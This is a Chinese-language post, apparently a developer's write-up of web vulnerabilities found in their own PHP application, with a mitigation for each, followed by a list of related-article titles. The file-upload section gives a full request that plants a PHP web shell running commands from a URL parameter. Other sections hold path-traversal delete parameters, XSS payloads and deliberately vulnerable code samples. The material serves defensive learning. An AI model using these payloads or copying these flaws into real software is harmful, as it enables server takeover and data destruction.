网络安全一直是热门话题,当我们写代码时往往要注意,整理漏洞如下:

一. SQL注入

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。

下图某个前辈大仙在前端页面拼接SQL参数传到后台,导致参数urlstr存在SQL注入风险。

   $array_1   = explode("*",$HTTP_POST_VARS['urlstr']);for ($i=0; $i<count($array_1); $i++) {$array_2 = explode("=>", $array_1[$i]);$key = trim($array_2[0]);$inputpara[$key] = $array_2[1];}


因为涉及界面太多,最终我采用增加令牌的方式处理。

主要处理机制:
(1)使用静态占位符(参数化);
(2)使用完成必要任务所需的最低特权来运行代码;
(3)不显示详细的错误信息。
辅助处理机制:
(1)参数为整形,可以验证数据类型
(2)强制过滤字符
a)’(单引号)
b)"(引号)
c)’(反斜线转义单引号)
d)"(反斜杠转义引号)
e))(结束括号)
f);(分号)

二. 反射型跨站脚本攻击

攻击者可以构造 javacript 脚本,实现对访问者键盘记录,盗取 Cookie 和恶意网站跳转等攻击。

如下图用git传参,在浏览器输入 "><svg οnlοad=alert(document.domain),出现弹窗

PHP可以用changeHtmlSpecialChar转义特殊字符

主要处理机制:
(1)对用户输入的特殊字符进行转义,重点处理以下特殊字符: "/<>

三. 存储型跨站脚本攻击

如下图,当输入框填 >“< svg οnlοad=alert(/jichenghan/)>,出现弹窗


主要处理机制:
(1)检查变量是否正确初始化并明确变量类型
(2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端对数据做HTML标签转义以及过滤单引号,双引号等危险字符,关键的过滤步骤也应该在服务端进行。
(4)对输出到页面的数据也要做安全检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。

四. CSRF攻击

跨站请求伪造,使用管理员访问链接,即可删除ID为8898的企业信息。

主要处理机制: 添加token,只能使用一次,使用后失效。

五. 命令执行

ApacheSolr服务器的远程代码执行漏洞,可获取服务器权限。

由于Velocity模板存在注入所致。攻击者在知道Solr服务器上Core名称后,先把params.resource.loader.enabled设置为true(就可加载指定资源),再进行远程执行命令;

主要处理机制:
(1)设置IP白名单,确保网络设置只允许可信的流量与Solr进行通信。
(2)更新官方相关漏洞的安全补丁

六. 任意文件读取

浏览Web服务器中的敏感文件(服务及系统配置等)。

程序源码泄露,代码审计导致利用更多漏洞。

主要处理机制:
(1)需读取文件数量较少时,可使用白名单验证。
(2)对需读取文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
(3)对需读取文件路径入库,通过查询id获取路径形式操作。
(4)禁止用户输入文件名及文件路径。
(5)过滤用户输入:…/ 字符

七. 任意文件上传

 $FileContent = stripslashes($params['FileContent']);if($pf = fopen($FileName, "w")){if(!fwrite($pf, $FileContent)){$failMsg = "写入日志文件:".$FileName." 失败!";return false;}fclose($pf);}

post数据:


actionNext=pageUpdate&SrvID=1&SrvType=1&FileName=/www/htdocs/input/1.php&FileContent=<html></html><?php $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),);$process = proc_open($_GET["51secteam"], $descriptorspec, $pipes, null, null);if (is_resource($process)) {echo stream_get_contents($pipes[1]);fclose($pipes[1]);$return_value = proc_close($process);echo "command returned $return_value\n";}?>&Operator=admin&DBID=1

发送请求后在input目录下生成木马文件1.php。

主要处理机制: 同上

八. 任意文件删除

     function delevidenceImg($params,&$failMsg){$path = "/evidence/".ceil($ID/1000000)."/".ceil($ID/1000)."/".$ID."/".$IMGNAME;if(unlink($path)){//...}

post数据:

imgname=../../../var/www/htdocs/input/1.txt&id=../&reportdate=../

修改imgname为要删除的文件路径,即可成功删除服务器上文件。

主要处理机制: 同上

九. 水平越权

如下图使用git方式传参,遍历campid,即可越权查看其他数据

主要处理机制: 在执行功能前先对用户的权限进行校验

十. 垂直越权

低权限用户可以使用某些高权限用户才能使用的功能,甚至可以结合其他漏洞接管管理员账号,获得最高权限

主要处理机制: 同上

十一. 功能缺陷

图形验证码复用缺陷,可批量验证,存在撞库风险

十二. 弱口令

登陆的时候填好账号密码,抓包的时候把账号密码清空掉,利用空的账号密码,即可登陆

主要处理机制: 在服务器端判断账号密码是否为空

十三. URL跳转

在代码里用header跳转本地路径,但URL暴露在界面上,可被篡改为其他站点链接。

  header("location: {$_POST['filepath']}");exit();

主要处理机制: 使用白名单校验跳转的域名,也可在服务器端代码中直接拼接域名

网络安全:漏洞类型和解决方案相关推荐

  1. 医疗器械网络安全漏洞自评报告模板

    提示:编制医疗器械网络安全漏洞自评报告要点解析 文章目录 1. 目的 2. 引用文件 3. CVSS漏洞等级 3.1 概述 3.1.1 适用范围说明 3.1.2 CNNVD-ID定义 3.1.3 编码 ...

  2. 专家 | 黄道丽:网络安全漏洞披露规则及其体系设计

    摘要 网络安全漏洞披露已成为网络安全风险控制的中心环节.不规范或非法的网络安全漏洞披露危害网络空间整体安全,凸显法律规定的灰色地带.实践中网络安全漏洞披露表现为不披露.完全披露.负责任披露和协同披露等 ...

  3. 信息安全-网络安全漏洞防护技术原理与应用

    一.网络安全漏洞概述 1.1 网络安全漏洞概念 网络安全漏洞:又称为脆弱性,简称漏洞.漏洞一般是致使网络信息系统安全策略相冲突的缺陷,这种缺陷通常称为安全隐患 安全漏洞的影响:主要有机密性受损.完整性 ...

  4. 最常见的8种网络安全攻击类型!

    在信息化高速发展的今天,全球重大网络攻击事件频发,对社会稳定.生产运行.人民生活都造成了严重的影响,也正因如此引起了大家的高度重视.而想要有效预防网络攻击,我们就要对网络攻击有一定的了解,虽然攻击类型 ...

  5. 网络安全漏洞管理十大度量指标

    当前,网络安全漏洞所带来的风险及产生的后果,影响到网络空间乃至现实世界的方方面面,通信.金融.能源.电力.铁路.医院.水务.航空.制造业等行业各类勒索.数据泄露.供应链.钓鱼等网络安全攻击事件层出不穷 ...

  6. 计算机网络存在的漏洞,常见的计算机网络安全漏洞有哪些

    当今的世界呈现网络信息化.网络全球化的发展大趋势.因此,我们应该竭尽全能地享受其带来的优势和便利,让信息网络为人类的生活进行健康服务.同时,我们还应该采取一切措施将各类危害网络信息安全的病毒清扫干净. ...

  7. Web系统常见安全漏洞介绍及解决方案-sql注入

    先看一下目录 一.常见漏洞类型 二.SQL注入 1.SQL 注入危险性.可能原因 2.场景重现 3.sql盲注 4.检测⽅法 5.防护⽅案 三.使用ORM框架 一.常见漏洞类型 关于web安全测试,目 ...

  8. 某市政府网络安全与网站防护解决方案

    [说明](1)这是<中小企业虚拟机解决方案大全>一书中部分章节的摘抄.该书预计于2009年12月初由<电子工业出版社>出版,敬请期待! (2)以本方案为蓝本的方案:<A市 ...

  9. 常见而又容易被中小企业忽视的六个网络安全漏洞

    By Jeffrey - 资深IT经理人,IT运营和安全顾问,历任多家知名跨国企业包括麦肯锡大中华区.通用电气公司.壳牌石油.英美烟草等公司IT总经理 不仅仅是对于大型知名企业,对于各种规模的公司来说 ...

最新文章

  1. VC++环境添加一般类的方法、使用MFC演示基本C++成员变量和成员函数
  2. 最新版ffmpeg 提取视频关键帧
  3. android 电话 状态栏,Android透明式状态栏、导航栏实现
  4. python机械手标定_机械手姿态的获取,ros,臂,当前,位姿
  5. python牛客网编程题_一波优秀的自学编程语言网站
  6. Python第六次作业
  7. bootstrap思想总结_bootstrap学习心得总结-css样式设计分享
  8. Java 中extends与implements使用方法
  9. 网吧技术员应聘问卷你能答多少
  10. 202206-2 寻宝大冒险
  11. 常用的两款 爱普生epson L801(L系列)清零软件 废墨重置软件 免分下载 内附清零软件使用方法
  12. c++课程设计之通讯录电话簿管理设计
  13. 如何用计算机画地形地貌图,基本地形图计算软件(图号计算器)V2.1 最新版
  14. 如何制作内网web服务器,内网搭建WEB服务器教程
  15. 太湖之光超级计算机应用最高奖,“神威·太湖之光”两项应用入围“戈登·贝尔”奖...
  16. 写给刚接触Auto CAD新人的建议——第三期
  17. 图像修复实例解析(二)
  18. 元宇宙赋能传统产业创新架构
  19. 南邮/南邮计算机考研经验贴2022
  20. 微信小程序开发 从创建到使用

热门文章

  1. 北大青鸟重庆大学城校区:初中生学it容易吗?
  2. ili9341显示屏--时钟
  3. centos 7 配置mongodb副本集
  4. 藤本弘遗作揭示哆啦A梦大结局:大雄被人道毁灭!
  5. VUE框架优化 - Render渲染 diff算法 -立哥开发
  6. **微信难逃7年之痒,子弹短信来势汹汹!**
  7. 黑马程序员:Xcode8网盘下载链接及更新简述
  8. 密码史简介(对称加密以解密)
  9. TIA西门子博途V15程序安装及注意事项
  10. mysql 存储过程加密工具_MySQL存储过程调试工具-dbForge Studio for MySQL